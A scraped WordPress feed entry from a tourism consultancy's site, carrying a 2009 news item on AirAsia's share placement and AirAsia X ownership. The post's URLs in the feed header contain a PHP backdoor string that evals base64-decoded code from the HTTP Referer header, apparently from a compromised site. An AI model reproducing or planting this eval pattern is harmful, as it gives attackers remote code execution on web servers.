Royal Intel - Tourism Intelligence Consultants » Southeast Asia http://royalintel.com "Royal Intel is an indispensible partner of ours in our construction of our marketing programs, with their thorough analyses of Asia-Pacific tourism and swift turnaround of deliverables. Their reports are always spot on, user-friendly, and full of constructive counsel" - Søren Leerskov, Managing Director, Scandinavian Tourist Board Fri, 08 Jan 2010 06:41:37 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 AirAsia’s Share Placement Offer Meant to Strengthen Financial Flexibility http://royalintel.com/2009/08/19/airasia%e2%80%99s-share-placement-offer-meant-to-strengthen-financial-flexibility/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://royalintel.com/2009/08/19/airasia%e2%80%99s-share-placement-offer-meant-to-strengthen-financial-flexibility/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 19 Aug 2009 09:36:16 +0000 Lara http://royalintel.com/2009/08/19/airasia%e2%80%99s-share-placement-offer-meant-to-strengthen-financial-flexibility/
Southeast Asia’s largest budget carrier, AirAsia, has finalized a plan to raise up to USD 171.6 million in a share placement to strengthen its balance sheet and increase its financing flexibility. The carrier plans to place out up to 481.1 million shares, representing a 20% stake, to buyers who will be identified later.

In a statement sent to the stock exchange, the airline share placement offer is aimed at reducing the current net gearing position of the company and its subsidiaries. Malaysia’s second largest bank, CIMB, is the adviser and placement agent for the exercise. AirAsia is listed at the Kuala Lumpur Stock Exchange (KLSE) and holds up to 2,362 million shares (as at 24 September 2007) which are traded on the Bursa Malaysia Stock Exchange under the ticker AIRASIA and code number 5099. AirAsia is substantially an owner managed company in which the cumulative ownership by the board of directors constitutes approximately 45% of the share capital, whereas the public holds up to 43.5%. According to the register, the Group had a total of approximately 15,916 shareholders as of 24 September 2007.

AirAsia Chief Executive Tony Fernandes notes that the new shares will be priced at a 5-10% discount of the market price of AirAsia shares at the time of issue. The amount to be raised is based on an indicative price of 1.25 ringgit (USD 0.36) per placement share, a discount of 3.1% to the 5-day weighted average market price of AirAsia shares up to July 27 of 1.29 ringgit (USD 0.36). The stock ended on Monday at 1.54 ringgit (USD 0.44). The Company reports that the actual number of shares to be placed out will be determined after the airline obtains regulatory approvals. As of 29 September 2006, about 38% of AirAsia’s total share capital was owned by TuneAir Sdn Bhd.

AirAsia has a complimentary flight, AirAsia X, which covers destinations between four and eight hours in flight duration from Kuala Lumpur and also includes an extensive network of 105 routes, covering ASEAN countries and China. Introduced in January 2007, AirAsia X focuses on the low-cost, long-haul segment and is based on the high frequency, point-to-point networks to long-haul services business. Presently, AirAsia and Britain’s Virgin Group, which is controlled by billionaire Richard Branson, hold stakes of 1% each in AirAsia X, while Japanese leasing firm, Orix, and Bahrain-based Manara Consortium hold stakes of 10% each, while the rest is held by Aero Ventures, a firm owned by AirAsia Chief Executive Tony Fernandes and his business associates.

Source: Reuters.com at www.reuters.com

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